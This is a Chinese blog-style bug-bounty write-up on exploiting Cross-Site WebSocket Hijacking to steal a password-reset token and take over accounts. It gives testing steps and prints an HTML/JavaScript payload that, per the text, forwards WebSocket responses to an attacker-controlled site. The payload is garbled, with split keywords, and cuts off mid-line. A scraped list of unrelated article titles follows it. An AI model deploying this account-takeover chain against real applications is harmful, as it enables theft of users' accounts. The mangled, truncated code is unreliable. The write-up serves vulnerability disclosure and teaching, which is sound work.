在一次漏洞悬赏活动中,我发现了一个使用WebSocket连接的应用,所以我检查了WebSocket URL,发现它很容易受到CSWH的攻击(WebSocket跨站劫持)

有关CSWH的更多详细信息,可以访问以下链接了解

https://www.christian-schneider.net/CrossSiteWebSocketHijacking.html

首先,我们假设一个应用是通过以下URL建立websocket连接的 wss://website.com。关于验证URL是否存在CSWH漏洞可以遵循以下步骤:

  1. 在浏览器上打开Web应用并登录。
  2. 在新选项卡中输入http://websocket.org/echo.html,输入WebSocket URL并单击“连接”。
  3. 建立连接后,你必须能够从此页面向服务器发送数据帧。接着,使用burpsuite的proxy捕获websocket数据帧进行调试,多次发送,查看服务器如何响应。如果burp的回应和网页的回应一样,则表示目标很可能容易受到WebSocket跨站劫持的攻击

通过以上步骤,我确定应用存在CSWH漏洞。

一旦在新选项卡上建立了WebSocket连接,我就收到了下面的websocket响应

从上述响应中你可看到,参数“_forgotPasswordId”的值为“null”。

现在我需要“_forgotPasswordId”参数来发送恶意请求来重置密码。

我再次测试了Websocket连接,这次观察到了如下回应,它包含一个forgetPasswordID令牌

利用

现在准备CSWH漏洞的利用链,重置密码接管帐户。以下由HTML代码组成的payload会发送XHR请求,并把回应导向攻击者控制的站点。

 Testing var wsUri = "wss://host.com"; var output; function init() { output = document.getElementById("output"); testWebSocket(); } function testWebSocket() { websocket = new WebSocket(wsUri); websocket.onopen = function(evt) { onOpen(evt) }; websocket.onclose = function(evt) { onClose(evt) }; websocket.onmessage = function(evt) { onMessage(evt) }; websocket.on error = function(evt) { on error(evt) }; } function onOpen(evt) { writeToScreen("CONNECTED"); doSend('websocket fr ame '); } function onClose(evt) { writeToScreen("DISCONNECTED"); } function onMessage(evt) {var xhr = new xm lHttpRequest();xhr.open("POST

url存在宽字节跨站漏洞_利用WebSocket跨站劫持(CSWH)漏洞接管帐户相关推荐

  1. url存在宽字节跨站漏洞_【XSS漏洞】XSS漏洞相关总结v1.0

    点击上方"公众号" 可以订阅哦! Hello,各位小伙伴周五晚上好~ 终于到了XSS漏洞的完结篇啦~~ 感觉本公众号写的最多的就是XSS,现在可以告一段落了... 让我们来看看第一 ...

  2. url存在宽字节跨站漏洞_5分钟速览丨常见的Web安全漏洞及测试方法

    中秋小长假 "余额"就剩半天了 尽管心里有太多不舍 也要调整自己 毕竟假期都是短暂的 工作才是职场人生的常态 为了尽快消除"假日综合症" e小安贴心送上小文一篇 ...

  3. java内存漏洞_处理Java程序中的内存漏洞

    Java 程序中也有内存漏洞?当然有.与流行的观念相反,在 Java 编程中,内存治理仍然是需要考虑的问题.在本文中,您将了解到什么会导致内存漏洞以及何时应该关注这些漏洞.您还有机会实践一下在您自己的 ...

  4. ajax 跨域请求_什么是跨域问题?如何解决?

    1. 概述 几个疑问: 什么是跨域? 如何判断是否产生「跨域」? 跨域,带来的问题? 跨域问题,解决思路? 2. 跨域:是什么 跨域的问题根源:浏览器的「同源策略」. 2.1. 同源策略 同源策略(S ...

  5. azure 免费帐户注册_如何使用模拟器模拟Azure SQL数据库存储帐户行为

    azure 免费帐户注册 介绍 (Introduction) When you practice and play with the Azure Storage, you spent money be ...

  6. lastpass命令行工具_使用免费的便携式工具离线查看LastPass帐户中的密码

    lastpass命令行工具 LastPass is an online password manager that allows you to securely store all your pass ...

  7. fckeditor漏洞_三十,文件上传漏洞、编辑器漏洞和IIS高版本漏洞及防御

    一.编辑器漏洞 1.编辑器 编辑器属于第三方软件,它的作用是方便网站管理员上传或编辑网站上的内容,类似我们电脑上的Word文档. 编辑器通常分为两种情况: (1) 不需要后台验证,可以直接在前台访问且 ...

  8. wordpress漏洞_多个WordPress插件SQL注入漏洞分析

    背景 SQL注入漏洞是用来构建SQL查询的用户输入未经适当处理导致的漏洞.比如: 图1: 使用WordPress的SQL查询示例 从上面的代码来看,其中存在SQL注入攻击漏洞,因为从$_GET中提取的 ...

  9. rmi 反序列化漏洞_提醒:Apache Dubbo存在反序列化漏洞

    背景: 近日监测到Apache Dubbo存在反序列化漏洞(CVE-2019-17564),此漏洞可导致远程代码执行.Apache Dubbo是一款应用广泛的高性能轻量级的Java RPC分布式服务框 ...

最新文章

  1. Java类加载文章1(z)
  2. FFMpeg的基本用法
  3. python中的argparse包——用于解析命令行参数
  4. python123期末测试第十周答案_Python语言设计_章节测验,期末考试,慕课答案查询公众号...
  5. Linux配置启动挂载:fstab文件详解
  6. springboot(2.2.4)的默认日志框架logback换成log4j2
  7. CodeForces - 1491E Fib-tree(模拟)
  8. Python实现给指定的微信朋友发信息
  9. win7电脑删除文件特别慢怎么办
  10. php 读取或导出到Excel / CSV (附utf8、gbk 编码转换)
  11. (2)Linux进程调度器-CPU负载
  12. js 时间戮转换为日期格式
  13. stm32单片机的智能交通灯设计
  14. pocib模板流程图_各单据流程POCIB
  15. 解决linux下svn update 产生Node remains in conflict的问题
  16. mysql中getdate怎么用_SQL中 getdate() 用法
  17. 【docker详解02】-docker安装
  18. WhatsApp网页版登陆,WhatsApp官网入口
  19. python中if缩进规则_Python缩进与if语句 空格的魅力
  20. 解析压敏电阻与TVS管的性能对比,谁能更胜一筹?

热门文章

  1. AUTOSAR从入门到精通100讲(十八)-AUTOSAR操作系统OS
  2. 古老的spc也可以用机器学习(三)-支持向量机算法
  3. c语言打砖块游戏代码,打砖块游戏的源代码(请多指教)
  4. relative布局html,CSS的四种布局方式static/relative/fixed/absolute
  5. UTF-8和GBK有啥区别?
  6. java虚拟机编译_[四] java虚拟机JVM编译器编译代码简介 字节码指令实例 代码到底编译成了什么形式...
  7. python类继承中构造方法_第8.3节 Python类的__init__方法深入剖析:构造方法与继承详解...
  8. ie下按keydown事件会触发button
  9. 关于导入oracle10g的数据到sqlserver2005里的方案总结
  10. 洛谷 P1018乘积最大